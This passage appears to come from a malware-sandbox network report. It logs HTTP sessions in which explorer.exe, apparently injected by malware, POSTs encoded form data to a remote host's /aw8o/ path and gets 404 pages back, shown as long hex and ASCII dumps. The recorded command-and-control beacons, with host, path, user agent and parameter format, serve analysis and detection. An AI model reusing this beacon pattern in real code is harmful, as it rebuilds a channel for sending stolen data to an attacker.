6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 Data Ascii: 2784<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-i
Aug 29, 2023 22:49:40.846296072 CEST	2173	IN	Data Raw: 6e 66 6f 2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 61 64 64 69 74 69 6f Data Ascii: nfo, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a {
Aug 29, 2023 22:49:40.846357107 CEST	2175	IN	Data Raw: 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 Data Ascii: l; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration:
Aug 29, 2023 22:49:40.846411943 CEST	2176	IN	Data Raw: 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a Data Ascii: r address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px; } .status-reason { display: inline;
Aug 29, 2023 22:49:40.846466064 CEST	2177	IN	Data Raw: 61 33 49 63 38 43 38 69 41 37 37 4e 4c 65 35 31 34 76 75 38 42 50 6a 36 2f 6e 33 6c 43 64 2f 56 6b 67 4b 58 47 6b 77 59 55 51 48 41 61 4d 2b 79 51 75 6e 42 6d 4e 53 77 62 52 56 59 68 2b 6b 4f 63 67 4d 68 76 52 44 42 31 4d 64 32 30 59 66 69 52 2b Data Ascii: a3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0KSQVIvQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQ
Aug 29, 2023 22:49:40.846519947 CEST	2179	IN	Data Raw: 39 35 6a 4b 2b 52 67 34 51 42 56 77 4e 6d 6c 65 50 5a 56 6a 54 78 75 6f 32 34 6b 57 4d 72 51 48 67 2f 6e 5a 7a 78 44 71 6d 71 46 52 46 43 37 39 39 2b 64 62 45 69 72 4d 6f 56 45 58 68 56 41 30 37 59 2b 47 57 4e 4d 4f 42 43 78 49 49 70 43 67 43 70 Data Ascii: 95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk5
Aug 29, 2023 22:49:40.846574068 CEST	2180	IN	Data Raw: 4d 39 57 73 69 41 44 4f 30 30 41 33 51 55 30 68 6f 68 58 35 52 54 64 65 43 72 73 74 79 54 31 57 70 68 55 52 54 42 65 76 42 61 56 34 69 77 59 4a 47 47 63 74 52 44 43 31 46 73 47 61 51 33 52 74 47 46 66 4c 34 6f 73 33 34 67 36 54 2b 41 6b 41 54 38 Data Ascii: M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvdbtazp16TSCOfZppMiGD6iVqr271oVokU6AJ9U5FGnXIww5mH+kLEhxI1cl20QCGCTgRMA/3
Aug 29, 2023 22:49:40.846628904 CEST	2181	IN	Data Raw: 65 64 6e 65 73 64 61 79 2c 20 33 30 2d 41 75 67 2d 32 30 32 33 20 30 34 3a 34 39 3a 34 31 20 48 4b 54 22 3e 20 57 65 62 4d 61 73 74 65 72 3c 2f 61 3e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 Data Ascii: ednesday, 30-Aug-2023 04:49:41 HKT"> WebMaster</a>. </section> <p class="reason-text">The server cannot find the requested page:</p> </div> <section class="additional-info"> <div class="cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.11.20	50046	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:46.036077976 CEST	2182	OUT	POST /aw8o/ HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sonokmall.info Referer: http://www.sonokmall.info/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 31 79 61 53 47 76 59 53 31 73 55 49 55 58 31 78 43 39 4a 41 34 32 6d 59 31 68 68 67 77 4b 70 6e 4b 69 7a 31 65 71 66 51 48 44 6a 44 76 6c 33 4c 68 41 4a 61 47 55 68 73 37 61 76 6b 48 78 6c 79 63 2b 2f 53 59 32 71 55 50 46 63 76 31 63 39 5a 78 59 68 4b 59 63 69 39 58 48 57 53 6d 61 39 33 45 54 39 38 56 34 78 7a 6c 56 76 71 64 34 36 73 77 53 45 43 54 4e 59 49 73 6f 71 6a 6f 4c 71 6a 2b 6d 36 38 49 76 58 7a 31 65 2f 47 76 54 45 31 44 62 36 65 42 49 76 79 73 75 48 56 51 64 54 53 70 77 37 4b 2b 47 41 62 69 79 74 44 4f 73 37 67 33 51 3d 3d Data Ascii: 5Nag0d=1yaSGvYS1sUIUX1xC9JA42mY1hhgwKpnKiz1eqfQHDjDvl3LhAJaGUhs7avkHxlyc+/SY2qUPFcv1c9ZxYhKYci9XHWSma93ET98V4xzlVvqd46swSECTNYIsoqjoLqj+m68IvXz1e/GvTE1Db6eBIvysuHVQdTSpw7K+GAbiytDOs7g3Q==
Aug 29, 2023 22:49:46.314182043 CEST	2184	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:49:46 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx=
Aug 29, 2023 22:49:46.314269066 CEST	2185	IN	Data Raw: 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 Data Ascii: "438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="
Aug 29, 2023 22:49:46.314331055 CEST	2186	IN	Data Raw: 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 Data Ascii: ll: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27.1)" style="fil
Aug 29, 2023 22:49:46.314424992 CEST	2188	IN	Data Raw: 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 31 39 2e 37 22 20 63 79 3d 22 38 31 Data Ascii: 2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="translate(-316.3
Aug 29, 2023 22:49:46.314508915 CEST	2189	IN	Data Raw: 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 Data Ascii: 790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="590" cy="782
Aug 29, 2023 22:49:46.314570904 CEST	2190	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 36 39 2e 34 20 33 37 37 2e 35 29 20 72 Data Ascii: <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:46.314649105 CEST	2192	IN	Data Raw: 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e 37 22 20 63 79 3d 22 37 36 37 2e 39 22 20 72 Data Ascii: 1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="translate(-289.3 346.9
Aug 29, 2023 22:49:46.314704895 CEST	2193	IN	Data Raw: 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 Data Ascii: ="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2" cy="686.9" r=
Aug 29, 2023 22:49:46.314759970 CEST	2194	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 39 2e 37 20 33 33 30 2e 39 29 Data Ascii: <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:46.314814091 CEST	2196	IN	Data Raw: 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: e(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6 299.4) rotate(-
Aug 29, 2023 22:49:46.489239931 CEST	2197	IN	Data Raw: 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c Data Ascii: rm="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r="3.7" transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.11.20	50047	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:48.738707066 CEST	2224	OUT	POST /aw8o/ HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sonokmall.info Referer: http://www.sonokmall.info/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 31 79 61 53 47 76 59 53 31 73 55 49 58 33 46 78 41 61 6c 41 35 57 6d 62 36 42 68 67 2b 71 6f 67 4b 69 50 31 65 72 71 4e 48 56 7a 44 75 41 4c 4c 67 46 31 61 42 55 68 73 70 36 76 68 4a 52 6c 6c 63 2b 7a 72 59 32 6d 55 50 46 59 76 30 75 46 5a 7a 6f 68 56 4d 4d 69 2b 51 48 57 70 74 36 39 48 45 54 78 47 56 35 31 7a 6c 6b 44 71 63 2b 75 73 6e 77 38 42 45 39 59 53 39 49 71 6b 69 72 71 68 2b 68 7a 42 49 75 66 4a 31 70 44 47 76 79 6b 31 43 62 36 5a 4a 34 76 31 6c 4f 47 66 63 66 4f 5a 76 77 62 53 6b 54 59 6e 36 6a 56 52 4c 6f 75 51 6c 42 35 77 52 44 6f 6c 50 4a 66 5a 64 37 49 69 72 41 78 6a 7a 74 77 30 74 54 7a 53 64 67 51 34 4d 46 6b 47 53 57 79 4e 53 43 63 49 6b 48 67 33 30 44 67 50 52 43 31 57 6b 2f 2f 53 45 36 34 4f 4f 6d 50 53 52 65 6b 47 69 65 48 51 6e 79 73 6d 70 6d 45 52 68 78 69 35 76 38 67 39 5a 42 64 6b 59 7a 61 70 55 4b 67 7a 44 65 52 78 36 45 37 6d 4e 2b 37 75 2b 2b 74 72 73 38 7a 61 58 59 54 4c 55 33 64 4b 4a 44 58 51 55 36 58 48 44 4d 43 45 36 5a 6b 58 56 6f 38 2f 51 6c 44 74 73 52 39 58 41 48 42 64 43 47 33 39 47 32 6d 46 56 6e 38 50 47 50 35 74 76 5a 66 30 54 79 54 51 2b 69 6a 4b 76 34 55 33 47 70 57 54 5a 53 6a 44 46 33 4f 56 31 52 37 36 43 55 47 35 5a 53 2f 49 4c 49 64 37 79 54 68 4d 55 79 43 2b 71 2f 4e 6e 39 67 69 69 63 32 6c 79 4e 4f 4f 6a 6b 58 78 46 71 6f 31 37 55 2f 65 6b 52 51 57 61 57 74 31 51 59 4b 35 64 4d 68 62 51 73 37 51 6c 41 78 2b 76 6f 55 69 4d 73 51 55 69 45 53 56 77 32 4c 73 62 37 6d 74 38 39 66 74 61 79 58 49 74 46 58 35 37 67 54 53 39 30 2b 65 78 48 31 63 55 2b 49 37 6c 73 2f 6f 53 51 56 57 4f 51 2f 73 3d Data Ascii: 5Nag0d=1yaSGvYS1sUIX3FxAalA5Wmb6Bhg+qogKiP1erqNHVzDuALLgF1aBUhsp6vhJRllc+zrY2mUPFYv0uFZzohVMMi+QHWpt69HETxGV51zlkDqc+usnw8BE9YS9Iqkirqh+hzBIufJ1pDGvyk1Cb6ZJ4v1lOGfcfOZvwbSkTYn6jVRLouQlB5wRDolPJfZd7IirAxjztw0tTzSdgQ4MFkGSWyNSCcIkHg30DgPRC1Wk//SE64OOmPSRekGieHQnysmpmERhxi5v8g9ZBdkYzapUKgzDeRx6E7mN+7u++trs8zaXYTLU3dKJDXQU6XHDMCE6ZkXVo8/QlDtsR9XAHBdCG39G2mFVn8PGP5tvZf0TyTQ+ijKv4U3GpWTZSjDF3OV1R76CUG5ZS/ILId7yThMUyC+q/Nn9giic2lyNOOjkXxFqo17U/ekRQWaWt1QYK5dMhbQs7QlAx+voUiMsQUiESVw2Lsb7mt89ftayXItFX57gTS90+exH1cU+I7ls/oSQVWOQ/s=
Aug 29, 2023 22:49:49.012411118 CEST	2225	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:49:48 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 